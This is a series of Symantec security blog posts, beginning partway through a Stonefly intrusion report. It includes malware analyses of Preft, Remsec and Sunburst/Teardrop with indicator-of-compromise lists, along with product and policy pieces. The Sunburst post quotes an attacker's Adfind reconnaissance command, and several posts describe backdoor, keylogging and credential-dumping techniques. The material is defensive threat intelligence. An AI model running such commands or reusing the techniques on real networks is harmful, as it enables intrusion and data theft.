Day 3: The next phase of the intrusion began on the following day, when Preft was executed and the attackers began moving latterly across the organization’s network, using Invoke-TheHash, a publicly available PowerShell pass-the-hash utility (file name: rev.ps1), and wmiexec.py, a publicly available Impacket tool used to run WMI commands (file name: notepad.exe).
Updated Preft backdoor
The attackers used an updated version of Stonefly’s custom Preft backdoor. Analysis of the backdoor revealed that it is a multistage tool:
Stage 1 is the main binary. A python script is used to unpack the binary and shellcode.
Stage 2 is shellcode. It performs the following actions:
Sleeps for 19,999 seconds, probably in an attempt to evade sandbox detection
Opens a mutex, with the name specified in the Stage 3 shellcode
Instead of loading an executable file, it starts Internet Explorer (iexplore.exe) or explorer.exe and injects the Stage 3 shellcode into either. It sets up a named pipe ("\.\pipe\pipe") for communication. The file name of the main binary is sent over the pipe.
Stage 3 is more shellcode.
Stage 4 is the payload. It is an HTTP remote access tool (RAT) that supports various commands, including:
Download (Download a file and save locally)
Upload (Upload a file to a C&C server)
Set Interval (Change C&C server query interval - in minutes)
Shell Execute (Execute a command in the shell)
Download Plugin
Update (Download a new version and replace)
Info (Return debug information about the current infection)
Uninstall
Download Executable
The malware can support four different kinds of plugins: executable files, VBS, BAT, and shellcode. It supports three different persistence modes: Startup_LNK, Service, Registry, and Task Scheduler.
Custom information stealer
Along with the Preft backdoor, Stonefly also deployed what appears to be a custom developed information stealer (infostealer). Analysis of this malware revealed that it is a three-staged threat. The main binary extracts and decrypts the encrypted shellcode with a modified RC4 algorithm.
Stage 2 is shellcode which retrieves the payload and decrypts it with the same modified RC4 algorithm. The decrypted payload is an executable file that is loaded in-memory. It is designed to search the infected computer for files using pre-configured parameters. These are then copied to temporary files before being copied to a single .zip file and the temporary files are removed. The ZIP file path is %TEMP/~[XXXXXXXX].tmp, where XXXXXXXX is a simple hash of the computer name (eight uppercase hex digits).
Curiously, this ZIP file is not automatically exfiltrated. It is possible that the exfiltration functionality was removed and the attackers planned to use an alternative means of exfiltration.
High-value targets
While Stonefly’s tools and tactics continue to evolve, there are some common threads between this recent activity and previous attacks, such as its ongoing development of the Preft backdoor and heavy reliance on open-source tools.
The group’s capabilities and its narrow focus on acquiring sensitive information make it one of the most potent North Korean cyber threat actors operating today.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
SHA256 Description File name(s)
3b779a84c17a3a2b588241676ec372c543b592473dae9d6b14db0d0d33522f34 3proxy tiny proxy server svhost.exe
7ab3f076e70350f06ad19863fdd9e794648020f621c0b1bd20ad4d80f0745142 Backdoor.Preft mf.exe, mp_updt.exe
537dee22d8bc4867f45deddfa26c6d08a12c09e4fb5b539422e9b4d8fb0dff4a Backdoor.Preft svchost.exe
586f30907c3849c363145bfdcdabe3e2e4688cbd5688ff968e984b201b474730 Backdoor.Preft svchost.exe
453014da94a1382f9f11535b3d90a44d67f43c02ffe8688465956a3ed7e71743 Backdoor.Preft svchost.exe
d824eb45247f9b8e0266dc739425d80af4145062687d7e825e03adfac1b7e03b Backdoor.Preft svchost.exe
414ed95d14964477bebf86dced0306714c497cde14dede67b0c1425ce451d3d7 Backdoor.Preft credit.exe, credits.exe
30cd61f13d64562a41eb5e8a3d30cd46d8678acd9eef4c73386c3ea4adb50101 Infostealer mf.exe
8637a4286d87a4fa3b6a102446f437058812be0d4ebb361ac8827ea4f186df23 Infostealer mf.exe
551653deddb8d9a78c1a239cc2da99ea403ce203c5843384c986149d4c17f26c Infostealer mf.exe
b3458b3d0bb80029de30f41ffc8e318176cca650d76b75549089b8a436e8862a Infostealer mp_updt.exe
9ca9f414b689fc903afb314016155814885966b0e30b21b642819d53ba94533c Invoke-TheHash rev.ps1
07b1b9d46a926084019c9e1a22ef724d7dd20fd85d144012dd4855ca66ad96fe Mimikatz pl.exe
68d8f895135aab32f0b0f2520f1dd3ea791a0e0fec3e4e21d94040015bbbf096 Mimikatz pl.exe
5a73fdd0c4d0deea80fa13121503b477597761d82cf2cfb0e9d8df469357e3f8 PuTTY PSCP pvhost.exe
28d0e945f0648bed7b7b2a2139f2b9bf1901feec39ff4f6c0315fa58e054f44e Real VNC Bypass Authentication Scanner vnc.exe, aa.exe
1a0e33a0e434e22e25a17b5d40fbef4fe900f075fcfa0dadd473010d03185e4a Runasuser privilege escalation tool sepm.exe
b4a85ef01b5d8058cf94f3e96c48d86ce89b20295e8d1125dc3fc1c799a75789 Suspected proxy tool tapi.exe
0e20819e5584a31f00d242782c2071734d7e2377306e9ebd20dd435ce9c7d43a Keylogger avg.exe, wkeylogger.exe
147187d4ca823187724205a7dbd6502a9409674e6602363d796218503c960e2f Suspected SOCKS proxy tool svhost.exe
5e62d4851596e3fb939525fa4437c553ab5c6b9d12920af7740a3473102ccd1a Unknown file protect.exe
7399605f47be3d8ed021c9189b6b102461d5dd98a9d9082c71ff368e13cf8541 Unknown file wax4315.tmp
cb6769bd80d5a234387bdaa907857ae478e2e693a157f29d97b8ce2db07856c1 Unknown file N/A
dda85ee1e0b4916ebd2eb7cbaeaa969843a19e7b8a9bb5d360a4bbc0bad91877 Unknown file smssvc.exe
bfa7adeda4597b70bf74a9f2032df2f87e07f2dbb46e85cb7c091b83161d6b0a WinRAR (old version) ra.exe
b7de7187f0f0281c17ae349b692f70892689ddf27b6b418142c809b41dfe3ce7 WinSCP winscp.com
de00c0111a561e88d62fd84f425a6febc72e01e2e927fb76d01603319a34b4b3 WinSCP winscp.exe
14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8 wmiexec.py notepad.exe
tecnojournals[.]com Domain N/A
semiconductboard[.]com Domain N/A
cyancow[.]com Domain N/A
bluedragon[.]com Domain N/A
hxxps://tecnojournals[.]com/review Domain N/A
hxxps://tecnojournals[.]com/general Domain N/A
hxxps://semiconductboard[.]com/xml Domain N/A
hxxps://semiconductboard[.]com/xcror Domain N/A
hxxp://cyancow[.]com/find Domain N/A
hxxps://bluedragon[.]com/login Domain N/A
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Stopping Office 365 Account Takeover Attacks in Their Tracks
Cloud applications like Office 365 raise the bar on productivity, but they also open the door to greater security risks. Here’s how to meet the challenge
Enterprises are heading to the cloud in record numbers, drawn in by the accessibility and flexibility of platforms like Microsoft Office 365. However, without significant changes to the traditional on-premise security paradigm, the transition increases exposure to account takeover and other serious risks.
The increasing usage of cloud apps and services, such as Office 365, and most notably email, raises new challenges related to securing data and ensuring regulatory compliance. Symantec’s 2018 Shadow Data Report found that 32% of cloud-based emails and attachments are broadly shared. Moreover, 68% of companies have employees that engage in high-risk behavior with their cloud accounts, increasing susceptibility to data exfiltration, data destruction, and account takeover.
In the cloud, credentials are the keys to the kingdom, making them a target for bad actors in search of a way in. Cyber criminals, and even amateurs looking to make a quick buck, have escalated account takeover attacks to gain access to an insider’s credentials to compromise other accounts and systems using social engineering techniques and phishing campaigns.
A more sophisticated variation of account takeover is the Business Email Compromise (BEC) scheme, in which criminals target high-ranking executives’ credentials, using their identity to spoof company employees and partners into paying fraudulent invoices. An FBI report estimated BEC attacks between October 2013 and May 2018 have resulted in $12.5 billion in global losses, with $2.9 billion stolen from U.S. victims.
Cloud Security Gaps
Once a bad actor has swiped a user’s credentials, they can log in as that individual across all other Office 365 functions. Account takeovers are often initiated through phishing attacks, which mimic legitimate requests for resetting a username or changing a password to gain entrée into the system. Brute force attacks, where bad actors repeatedly try to grab credentials, and malware, which is introduced by compromised end points or through shared content, are other popular vectors for account takeover attacks.
Cloud platforms like Office 365 have some built-in security, but they have no way to determine whether a cloud-based account is being used by an authorized user or being exploited by cyber criminals. “Office 365 has limited abilities for administrators to track what was sent where, to do e-discovery of problems, or to look at what documents were sent across the way,” explains Jeannie Warner, senior product manager at Symantec. “There is no way to characterize documents as personal, there is no identifiable information, and there are limited controls.”
For a proper defense against account takeovers and other risks, enterprises need to augment cloud platforms like Office 365 with with a complete security solution that can block sophisticated email threats using a multilayered defense and is part of a broader security solution. For example, Symantec Email Security.cloud bolsters the security of cloud and on-premise email systems with advanced detection technologies and telemetry from the Symantec Global Intelligence Network. The platform scans external email, including attachments and links, at the cloud perimeter, enabling it to identify attempts to impersonate legitimate users.
Symantec’s email security solution also features Threat Isolation, proprietary technology that opens risky or unknown website links in read-only mode, preventing the spread of infection and stopping users from entering their credentials. At the same time, a sophisticated impersonation engine blocks threats that masquerade as specific users or legitimate email domains, providing additional protections.
For a proper defense against account takeovers and other risks, enterprises need to augment cloud platforms like Office 365 with with a complete security solution that can block sophisticated email threats using a multilayered defense and is part of a broader security solution.
Another important piece of the security foundation for Office 365 is a Cloud Access Security Broker (CASB) like Symantec’s CloudSOC. CloudSOC covers the entire suite of Office 365 apps, including OneDrive, SharePoint, and Yammer, in addition to email and other applications, blocking threats and sensitive data exposures for both internal and external-bound user transactions. Using data science-driven user behavior analytics, CloudSOC identifies malicious behavior even when users are remote or using personal, unmanaged endpoints. A CASB can also detect the use of unsanctioned cloud apps and email while applying the appropriate protections. Administrators can assign users ThreatScores to flag more or less levels of risk as well as enforce policies via alerts and by quarantining or blocking users.
Machine learning and pattern matching are essential capabilities for a CASB, Warner says. “They help decipher thousands of small micro clues that determine whether something is good or bad traffic or whether a piece of content is proprietary to your system,” she explains. “The CASB can extrapolate that learning out to future emails to prevent attacks.”
Cloud applications like Office 365 raise the bar on productivity, but they also open the door to greater security risks. By taking a layered approach to security, organizations can ensure their cloud journey is both safe and a success.
Account TakeOver: Now What?
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Stopping the New and Unknown
Using Advanced Machine Learning technology to protect against zero-day threats
Machine Learning, often referred to as ML, is a signatureless technology that can block new malware variants before the execution stage. Symantec uses ML at various layers in our security stack to protect customers from cyberthreats. These layers have been designed to both proactively protect against a suspicious file, OS event, registry entry, URL or network activity seen by our products - including Endpoints, Gateways and in our backend analytics platform.
Symantec has the ability to dynamically analyze new content as soon as it's available with a comprehensive set of threat scanning engines, feeding the data into the Symantec Global Intelligence Network (GIN). Symantec uses this security telemetry, gathered from millions of endpoints, gateways, and threat-related data feeds from third-party security vendors, along with a rich set of clean files to train and evaluate various ML models.
Zero-day Protection is Critical
In addition to the analytics platform, we also apply a Cloud Sandbox Analysis Engine (rather aptly named "Cynic") running multiple ML models and Clustering algorithms to classify and cluster files according to their threat type, risk potential, dynamic and static metadata, and behavior. Symantec analyzes customer submissions using both automated systems and human malware analysts and the intelligence is fed into ML training models for improving classification efficacy.
Our multi-model Advance Machine Learning technology runs on various file types, in both 32-bit and 64-bit avatars to provide actionable analysis. Where gaps in protection are identified, they are analyzed by backend ML models and blocked through Reputation lookups. The primary objective of Symantec Advanced Machine Learning is to protect against new and unknown malware, commonly known throughout the industry as Zero-day attacks.
After rigorous testing these ML models are then deployed in numerous products and in our backend analysis systems to detect new and unknown threats. This is where ML excels.
In the last quarter alone, Symantec's Advanced Machine Learning blocked almost 23 million threats on Symantec Endpoints and Gateway products. Around 3.9 Million of these blocks were against Zero-day attacks - i.e. never before seen by any of our security products or protection technologies. This is what is meant by "proactive" protection, as opposed to "reactive". Proactive protection is the panacea against cyberthreats and the bane of would-be cybercriminals everywhere.
During the past quarter Symantec Advanced Machine Learning provided the following protection:
13.5M threats blocked by Symantec Advanced ML on our Gateway products
9.3M threats blocked on Endpoints
3.9M Zero-day threats were blocked by ML, including:
9K Ransomware (Cerber, Cryptodefence, Gandcrab, Ryuk, Wannacry, Zombie, etc.)
512K Trojan (Emotet, Cridex, Whispergate, etc.)
160K Win32 (Qakbot, Fujacks, Expiro, etc.)
230K Backdoors (Cobalt, Limitail, Berbew, etc.)
1.1M browser-based threats were blocked on Endpoints - 32% from Chromium, 24% from MSEdge and 15% from Firefox
731K threats launched through command line to download and execute malicious files were blocked on Endpoint products
585K threats were blocked attempting to enter the system from external sources such as USB drives
200K attacks blocked using SMB for network file sharing
105K threats blocked which were downloaded using peer to peer (P2P) networking programs such as Anydesk (RDP), Utorrent and Bittorrent
5.9K threats downloaded using Scripting host (Powershell/csript/wcript) blocked
For information on how Symantec protects you from the latest threats visit Symantec’s Protection Bulletin where we share new threat information and deep dives on our protection technologies. See the links below for more information on the technologies discussed in this blog.
Learn more about how Symantec Endpoint Protection uses AML
Learn more about Symantec Endpoint Security
Learn about the Symantec Cloud Sandbox Analysis Engine (Cynic)
A version of this blog first appeared on the Symantec Protection Bulletin. The Protection Bulletin was created to better communicate our proactive protections against new, unknown threats. It also offers "Protection Highlight" bulletins for in depth insights into how Symantec products and technologies prevented attacks.
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Streamlining ZTNA Administration
The cornerstone of ZTNA transformation
When it comes to network security, every minute counts. Time spent on administration takes skilled threat hunters away from focusing on threat investigations and stopping attacks. Finding ways to streamline administration is like discovering a hidden treasure chest. With the advent of Zero Trust Network Access (ZTNA) and its promise of heightened security, implementation certainly introduces opportunities for stronger security but also can create anxiety around increased administration tasks…at least that may be the perception. The reality is far from that. The quest for streamlined administration is actually the cornerstone of ZTNA security.
Security teams face numerous challenges in managing and maintaining secure access to resources. The rise of ZTNA as a transformative approach to network security helps organizations seeking ways to simplify administration, while ensuring robust protection. However, the transition from traditional VPNs to ZTNA introduces complexities that require careful consideration and strategic planning. But the effort is worth it.
Security teams already deal with a lot of VPN maintenance, including user provisioning, access control management, and troubleshooting, and it can be very time-consuming. The shift towards ZTNA, if not done properly, can make administration even more intricate because of the adoption of the "least privilege" model.
ZTNA's "least privilege" model emphasizes restricting access to resources based on specific user roles and conditions. While this enhances security, it can add complexity to administration. Implementing least-privilege access requires constant monitoring and adjustment to accommodate changes in user groups, applications, and access conditions. This ongoing maintenance work can strain resources and create bottlenecks for security administrators.
The quest for streamlined administration is actually the cornerstone of ZTNA security.
To effectively address these challenges, organizations must rethink their approach to administration. One key strategy is to delegate administrative privileges to individual teams or projects, offloading the burden from the central administrator. By empowering teams to manage their access permissions, organizations can streamline administration and improve efficiency.
This concept is exemplified by Role-Based Access Control (RBAC), which enables organizations to assign control over specific environments to different teams based on their roles and responsibilities. RBAC enables teams to autonomously manage access permissions within their designated scope, reducing dependency on the central administrator and fostering a more agile and responsive security posture.
By embracing RBAC and empowering teams to take ownership of access management, organizations can achieve a balance between security and efficiency in their ZTNA implementation. Delegating administration privileges enables teams to adapt quickly to changing requirements and reduces the administrative burden on centralized security resources.
But what about the administration of RBAC? Symantec has an answer.
ZTNA Collections – Easing Administrative Burden
The Symantec ZTNA team has engineered an ingenious solution to streamline administrative maintenance and supercharge business operations. The feature called “Collections” is an effortless system designed to distribute maintenance tasks across multiple teams, individuals, or machines while enforcing the principles of least privilege control. With Collections, SecOps teams can enjoy a hands-free experience, freeing up valuable time and resources for strategic initiatives.
So, what exactly are Collections? Think of them as administrative boundaries that define a set of resources and grant permissions to users, groups, and API clients for specific applications and policies. Essentially, Collections empower administrators to delegate "mini tenant" responsibilities to individual teams, radically reducing the maintenance effort associated with managing access controls.
Imagine a scenario where each department within your organization has its own Collection, tailored to its unique requirements and access needs. Marketing, finance, HR – each has its own dedicated space within the ZTNA ecosystem, allowing teams to autonomously manage their access permissions without relying on centralized oversight. This not only streamlines administrative tasks but also promotes agility and collaboration across the organization.
Using the Collections feature, the days of manual access management and cumbersome administrative overhead are a thing of the past. Say goodbye to tedious policy configurations and hello to a more efficient, scalable, and secure approach to network access control. Whether you're a small startup or a global enterprise, Collections can revolutionize the way you manage and maintain your ZTNA infrastructure, paving the way for a more seamless and productive future.
Diagram of a Collections implementation
Deploy ZTNA and Streamline Secure Access
Simplifying administration is essential for the successful implementation of ZTNA. By leveraging RBAC and delegating administration privileges to individual teams, organizations can navigate the complexities of ZTNA while maintaining robust security controls. By embracing this approach, organizations can enhance efficiency, agility, and resilience in their security operations, paving the way for a more secure and productive digital environment.
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Strengthening National Security through Public-Private Partnerships
Here’s how the National Security Group at Symantec is working with Uncle Sam to help protect its far-flung data networks
Cyber defense focused Public Private Partnerships (PPP) can bring together resources from companies like Symantec with policy makers to ensure the U.S. government – especially the Intelligence Community and Department of Defense (DOD) – can better protect their networks, from on-premises to the cloud.
Last month, representatives from the Symantec National Security Group were invited to the White House to brief U.S. government leadership from the Office of Science and Technology Policy (OSTP), Department of Defense, Joint Artificial Intelligence Center (JAIC), and Office of the Director of National Intelligence (ODNI), Artificial Intelligence (AIM Initiative) on next-generation Artificial Intelligence (AI) and Machine Learning (ML)-enabled technology for cyber defense.
The briefing covered cutting-edge Federated AI/ML technology and Symantec’s Integrated Cyber Defense (ICD) platform to plan, prepare for, and conduct defensive operations across whole enterprise attack surfaces at speeds faster than human threat actors can achieve. Federated AI/ML can deliver a force multiplier for our national security cyber operators as they aggregate and analyze massive and growing data sets to produce higher value leads for deeper investigation or to recommend hardening options.
Particularly in the area of cyber security, Symantec and its industry peers have tremendous resources that can be leveraged for homeland and national security.
In addition to discussing our organizational commitment to investing time, effort and energy to defend our national security and make the cyber domain safer for all – the briefing also highlighted two world-class centers of excellence within Symantec that are leading industry’s effort to research, test and deploy AI/ML technologies:
Symantec’s Center for Advanced Machine Learning (CAML) conducts research and development in core AI/ML, deep learning and other techniques. Bringing this R&D to bear in the national security space means that the military and U.S. Intelligence Community can more effectively utilize telemetry gathered by security systems and more than 120 million sensors, parsing trillions of lines of data to uncover malicious files and URL threat indicators at a rate no human can match. That intelligence can be used to block attacks across endpoints, clouds and networks.
Symantec’s Research Lab (SRL) holds a leadership role in exploring future cyber security technologies across industry and academia. SRL was formed in June 2002 to secure the world's computing devices and information through novel security and privacy paradigms. As Symantec's global research organization, SRL is focused on driving trust and safety in an online world by creating new paradigms to enable digital security and privacy. SRL has played a leading role in exploring many cutting-edge technologies now commercialized across Symantec's many product areas. Such technologies from the group include targeted attack protection, reputation-based security, industry-leading rootkit protection, cloud-based security services and some of the industry's earliest behavioral protection technologies.
Particularly in the area of cyber security, Symantec and its industry peers have tremendous resources that can be leveraged for homeland and national security. Symantec’s participation in the Defense Industrial Base Cyber Security Program (DIB CS), which is composed of defense contractors with clearances and exists to improve information sharing between the DOD and industry, is an excellent example of a PPP that provides value to both government and industry. An effective PPP fosters innovation.
Why Symantec?
Symantec operates the world’s largest civilian Global Intelligence Network (GIN). Combined with the Symantec ICD platform, these capabilities unify products, services and, perhaps most importantly, industry and agency partners. Symantec is in a perfect position to augment agency intelligence collection and analysis, enhancing the U.S. government’s comprehensive cyber posture and protecting the .mil and .gov domains against sophisticated threats.
As Symantec has evolved to become the global leader in cyber security, our partnership with industry, government and the public enables us to secure the most important data wherever it lives. The National Security Group at Symantec is excited to build on its kickoff conversation at the White House and to partner with our country’s premier cyber operators to enhance their abilities to keep Americans safe.
We were truly humbled and honored to share our knowledge and our commitment to whole of nation efforts with OSTP, DOD and ODNI, and look forward to continuing conversations to drive innovation across the government.
The Symantec authors at The White House in July. Andrew Borene and Dr. Andrew Gardner are with Dr. Lynne Parker, Director for Artificial Intelligence at The White House Office of Science and Technology Policy (OSTP).
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Strider: Cyberespionage group turns eye of Sauron on targets
Targets include organizations and individuals located in Russia, an airline in China, an organization in Sweden, and an embassy in Belgium.
A previously unknown group called Strider has been conducting cyberespionage-style attacks against selected targets in Russia, China, Sweden, and Belgium. The group uses an advanced piece of malware known as Remsec (Backdoor.Remsec) to conduct its attacks. Remsec is a stealthy tool that appears to be primarily designed for spying purposes. Its code contains a reference to Sauron, the all-seeing antagonist in Lord of the Rings.
Strider’s attacks have tentative links with a previously uncovered group, Flamer. The use of Lua modules, which we’ll discuss later, is a technique that has previously been used by Flamer. One of Strider’s targets had also previously been infected by Regin.
Background
Strider has been active since at least October 2011. The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation state’s intelligence services. Symantec obtained a sample of the group’s Remsec malware from a customer who submitted it following its detection by our behavioral engine.
Remsec is primarily designed to spy on targets. It opens a back door on an infected computer, can log keystrokes, and steal files.
Targets
Strider has been highly selective in its choice of targets and, to date, Symantec has found evidence of infections in 36 computers across seven separate organizations. The group’s targets include a number of organizations and individuals located in Russia, an airline in China, an organization in Sweden, and an embassy in Belgium.
Figure 1. Only a small number of organizations in four countries are impacted by Strider
Stealthy back door
The Remsec malware used by Strider has a modular design. Its modules work together as a framework that provides the attackers with complete control over an infected computer, allowing them to move across a network, exfiltrate data, and deploy custom modules as required.
Remsec contains a number of stealth features that help it to avoid detection. Several of its components are in the form of executable blobs (Binary Large Objects), which are more difficult for traditional antivirus software to detect. In addition to this, much of the malware’s functionality is deployed over the network, meaning it resides only in a computer’s memory and is never stored on disk. This also makes the malware more difficult to detect and indicates that the Strider group are technically competent attackers.
Remsec modules seen by Symantec to date include:
Loader: Named MSAOSSPC.DLL, this module is responsible for loading files from disk and executing them. The files on disk contain the payload in an executable blob format. The loader also logs data. Executable blobs and data are encrypted and decrypted with a repeating key of 0xBAADF00D. The loader maintains persistence by being implemented as a fake Security Support Provider.
Lua modules: Several examples of Remsec use modules written in the Lua programming language. Remsec uses a Lua interpreter to run Lua modules which perform various functions. These Lua modules are stored in the same executable blob format as the loader. Lua modules include:
Network loader – This loads an executable over the network for execution. It may use RSA/RC6 encryption.
Host loader – This is used to decrypt and load at least three other Lua modules into running processes. It references three named modules: ilpsend, updater (neither of which has been discovered to date), and, kblog (likely the Keylogger module detailed below).
Keylogger – This logs keystrokes and exfiltrates this data to a server under the attackers’ control. This is the module that contains a string named “Sauron” in its code. Given its capabilities, it is possible the attackers have nicknamed the module after the all-seeing villain in Lord of the Rings.
Figure 2. String referencing Sauron in Remsec keylogger module
Network listener: A number of examples of Remsec implement different techniques for opening a network connection based on monitoring for specific types of traffic. These include ICMP, PCAP, and RAW network sockets.
Basic pipe back door: This is a minimal back door module, controlled over named pipes. It can execute data in the format of the executable blob or a standard executable.
Advanced pipe back door: This offers several more commands than the basic version, including sending the executable blob, listing files, and reading/writing/deleting files.
HTTP back door: This module includes several URLs for a command and control (C&C) server.
Strider is capable of creating custom malware tools and has operated below the radar for at least five years. Based on the espionage capabilities of its malware and the nature of its known targets, it is possible that the group is a nation-state level attacker. Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers.
Protection
Symantec and Norton products detect this threat as Backdoor.Remsec.
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Sunburst: Supply Chain Attack Targets SolarWinds Users
A number of Symantec customers affected by wide-ranging trawl for potential targets of interest.
UPDATE December 16 2020: Our blog has been updated with analysis of the Teardrop second-stage malware and an example of the post-compromise attack chain. We have also provided clarification on the use of Symantec’s name in a certificate used to sign the SolarWinds software.
Thousands of organizations have been affected by a supply chain attack that compromised the update mechanism for SolarWinds Orion software in order to deliver a backdoor Trojan known as Sunburst (Backdoor.Sunburst) (aka Solorigate).
Details on the attacks were disclosed yesterday (December 13) by the security firm FireEye. SolarWinds has also published a security advisory for its customers.
The campaign has been underway since at least March 2020. Any Orion user who downloaded an update in this period is likely to have been infected with Sunburst. According to FireEye, the attackers conducted further malicious activity on a subset of victim organizations that were of interest to them.
By their nature, supply chain attacks are indiscriminate and will infect any user of the compromised software. They are carried out in order to provide the attacker with access to a large number of organizations, a subset of which will be identified as targets of interest for further compromise.
The Trojanized software was signed by a certificate marked as being issued by Symantec. Symantec sold its certificate authority business to Digicert in 2018. The certificate in question was a legacy certificate still using the Symantec brand name. Symantec has contacted Digicert, which has confirmed that it is investigating the issue.
Symantec has identified more than 2,000 computers at over 100 customers that received Trojanized software updates. We have found a small number of organizations where a second stage payload (Backdoor.Teardrop) was used.
Sunburst analysis
An existing SolarWinds DLL called SolarWinds.Orion.Core.BusinessLayer.dll was modified by the attackers to include an added class.
The malware is designed to remain inactive for a period after installation. It will then attempt to resolve a subdomain of avsvmcloud[.]com. The DNS response will deliver a CNAME record that directs to a command and control (C&C) domain.
In SolarWinds.Orion.Core.BusinessLayer.BackgroundInventory.InventoryManager.RefreshInterval() code is added to call OrionImprovementBusinessLayer.Initialize().
OrionImprovementBusinessLayer is a malicious class added by the attacker. It has the following functionality:
Terminates the backdoor thread
Set delay time before execution
Collect and upload system information including:
Domain
SID of administrator account
Hostname
Username
Operating system version
Path of system directory
Days elapsed since the system started
Information on network adapters, including:
Description
MACAddress
DHCPEnabled
DHCPServer
DNSHostName
DNSDomainSuffixSearchOrder
DNSServerSearchOrder
IPAddress
IPSubnet
DefaultIPGateway
Download and run code
Iterate the file system
Create and delete files
Calculate file hashes
Read, write, and delete registry entries
Reboot the system
Second-stage payload: Teardrop
A second stage payload, a backdoor called Teardrop, is deployed against a targets of interest to the attackers. Symantec has observed two variants of Teardrop, both of which behave similarly and are used to deliver a further payload – the Cobalt Strike commodity malware.
The first variant (SHA256: b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07) is a DLL. The malicious code is contained in the export Tk_CreateImageType, ordinal 209. When executed, that malicious code reads a file named upbeat_anxiety.jpg from the current directory and ensures it has a jpg header. It will also check that the registry key HKCU\Software\Microsoft\CTF exists. An embedded copy of Cobalt Strike is then extracted and executed. That CobaltStrike sample connects to infinitysoftwares[.]com for command and control.
The second variant (SHA256:1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c) is similar, except that the file it loads is called festive_computer.jpg. The embedded CobaltStrike payload connects to ervsystem[.]com for command and control.
Post-compromise attack chain
The post-compromise attack chain for one computer investigated saw the initial Sunburst malware, a modified solarwinds.orion.core.businesslayer.dll, installed through the Orion update process on the victim computer on the 7th of the month.
On the 28th of the month, 21 days later, the legitimate executable solarwinds.businesslayerhost.exe, which loads the malicious DLL, created a copy of Teardrop in a file called cbsys.dll, in the c:\windows\panther folder. This filename and path appear to be unusual since most instances of Teardrop were created in a file called netsetupsvc.dll in the c:\windows\syswow64 folder, as documented by FireEye.
The Backdoor.Teardrop sample is a DLL with malicious code contained in the export Tk_CreateImageType. When executed, that export reads a file named upbeat_anxiety.jpg from the current directory and ensures it has a jpg header. It will also check that the registry key HKCU\Software\Microsoft\CTF exists. An embedded copy of Cobalt Strike is then extracted. That CobaltStrike samples connects a C&C server - infinitysoftwares[.]com.
At this point, the attackers launch WMI to execute rundll32.exe to load another malicious DLL called resources.dll in the path csidl_windows\desktoptileresources\. Resources.dll attempts to obtain credentials by accessing lsass.exe using similar techniques to Mimikatz, a widely used credential dumping tool.
Adfind, a tool that is able to query Active Directory, is then introduced to the system as searchindex.exe and then executed (cmd.exe /c SearchIndex.exe -sc u:<removed> > .\h.txt). Results are saved in the file h.txt. Using this information, the attackers are attempting to gain elevated privileges (e.g. domain administrator) to access the domain or laterally traverse the environment.
Recommended actions
Orion users should update to Orion Platform version 2020.2.1 HF 2.
Orion users should check their networks for indications of post-compromise activity, including:
Use of Teardrop in-memory malware to drop Cobalt Strike Beacon.
Command and control (C&C) infrastructure leaks the configured hostname in RDP SSL certificates. Scanning for your organization’s hostnames can uncover malicious IP addresses used by the attackers, indicating post-compromise activity.
Geolocation of IP addresses used for remote access may reveal if a compromised account is being simultaneously used by a legitimate user and the attackers.
The attackers use multiple IP addresses per VPS provider. If a malicious login from an unusual ASN is identified, other logins from that ASN may also be malicious.
Logs for SMB sessions may show access to legitimate directories and follow a delete-create-execute-delete-create pattern in a short period of time.
It should be borne in mind that although there may be some commonalities in post-compromise activity, each victim is likely to see different patterns in activity. That activity is likely to involve heavy use of living-off-the-land techniques to minimize the likelihood of being detected, something the attackers seem to be prioritizing based on how they conducted the first stages of the attack.
Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
File-based protection:
Backdoor.Sunburst
Backdoor.Sunburst!gen1
Backdoor.SuperNova
Backdoor.Teardrop
Network-based protection:
System Infected: Sunburst Malware Activity
Indicators of Compromise
IOC File type
d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 Sunburst installer
019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 Sunburst backdoor
ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 Sunburst backdoor
32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 Sunburst backdoor
dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b Sunburst backdoor
eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed Sunburst backdoor
c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77 Sunburst backdoor
ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c Sunburst backdoor
1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c Teardrop backdoor
b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07 Teardrop backdoor
*.avsvmcloud[.]com Domain
ervsystem[.]com Domain
infinitysoftwares[.]com Domain
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Surge in Blended Attacks Stirs New Cyber Worries
Symantec, NH-ISAC partner on blended threat workshop series as healthcare industry deals with alarming rise in number of incidents.
It sounds like a nightmare: A targeted piece of malware infects computers and devices, temporarily shutting down critical technologies used in the healthcare community.
As the malware begins to become contained, a natural disaster hits the region. As people in need of help flood into medical centers, researchers discover additional concerns inside the malware’s code. This type of attack is known as a “blended threat” – a natural, accidental, or purposeful combination of a physical with a cyber incident.
Thankfully, this is not a real event but just one of the threat scenarios that the National Health Information Sharing and Analysis Center (NH-ISAC) will use in its 2018 Blended Threats Exercise Series being held this summer and fall in different locations around the country. This six-event series will bring together cyber security leaders from the healthcare industry to work through different scenarios and to learn how to handle a blended threat, understanding their complexity and impact potential.
These scenarios were developed based on a threat-informed, risk-based understanding of the current and emerging threat environment with considerations to recent incidents, such as major ransomware outbreaks.
As cyber threats continue to evolve so must those that defend it.
“These exercises will stress participants to consider threat-informed, emerging security challenges that organizations should be proactively preparing for,” said Denise Anderson, President, NH-ISAC. “Considering blended threats and the need to coordinate with multiple parts of the organization, these workshops should allow for candid, respectful insights, ideas and challenges from participants, to help all involved further develop their security programs and preparedness.”
